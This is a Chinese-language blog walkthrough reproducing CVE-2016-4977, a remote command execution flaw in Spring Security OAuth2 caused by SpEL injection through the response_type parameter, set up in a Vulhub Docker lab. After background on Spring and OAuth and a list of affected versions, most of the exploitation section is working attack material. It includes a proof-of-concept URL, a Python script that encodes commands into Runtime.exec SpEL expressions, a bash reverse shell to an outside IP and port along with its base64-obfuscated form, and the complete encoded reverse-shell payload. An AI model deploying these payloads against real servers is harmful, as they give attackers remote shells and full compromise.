本文最后更新于670 天前,其中的信息可能已经过时
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
Spring框架概念
Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益。
Spring Security OAuth介绍
Spring Security OAuth是一个基于Spring框架的安全性认证和授权框架,它提供了OAuth 1.0、OAuth 2.0和OpenID Connect等协议的实现。OAuth协议是一种开放标准的授权协议,它允许用户授权第三方应用程序访问他们的资源,而无需将用户名和密码提供给第三方应用程序。OAuth协议广泛应用于Web应用程序、移动应用程序和API等场景中。
Spring Security OAuth提供了一组可重用的组件,用于实现OAuth协议中的认证和授权流程。这些组件包括:
- OAuth2AuthorizationServer:用于实现OAuth 2.0协议中的授权服务器。
- OAuth2ResourceServer:用于实现OAuth 2.0协议中的资源服务器。
- OAuth2Client:用于实现OAuth 2.0协议中的客户端。
- OAuth2Login:用于实现OpenID Connect协议中的登录流程。
Spring Security OAuth还提供了一些可扩展的接口和抽象类,用于自定义OAuth协议的实现。例如,可以实现TokenStore接口来自定义令牌的存储方式,或者实现UserDetailsService接口来自定义用户信息的获取方式。
总之,Spring Security OAuth是一个强大的安全性认证和授权框架,可以帮助开发人员轻松实现OAuth协议的各种流程,并提供了一些可扩展的接口和抽象类,让开发人员可以根据自己的需求进行定制。
漏洞简介
Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞
影响版本
Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14
环境搭建
Vulhub:https://vulhub.org/#/environments/spring/CVE-2016-4977/
部署代码:
cd /vulhub/spring/CVE-2016-4977
docker-compose up -d
环境截图:
漏洞复现
漏洞验证
poc – 简单漏洞利用测试代码
http://your-ip:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
输入poc代码,账号:admin 密码:admin
发现poc里面2*3的算法被执行
存在漏洞
命令执行payload
Python执行payload
message = input(‘Enter message to encode:’)
poc = ‘${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)’ % ord(message[0])
for ch in message[1:]:
poc += ‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch)
poc += ‘)}’
print(poc)
反弹Shell
反弹shell命令
bash -i >& /dev/tcp/192.168.153.129/8866 0>&1
将反弹的shell进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMjkvODg2NiAwPiYx}|{base64,-d}|{bash,-i}
执行python payload生成代码,输入bash反弹命令
反弹shell payload
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
把之前poc中的${2*3}替换成反弹shell的payload执行
成功拿到反弹的shell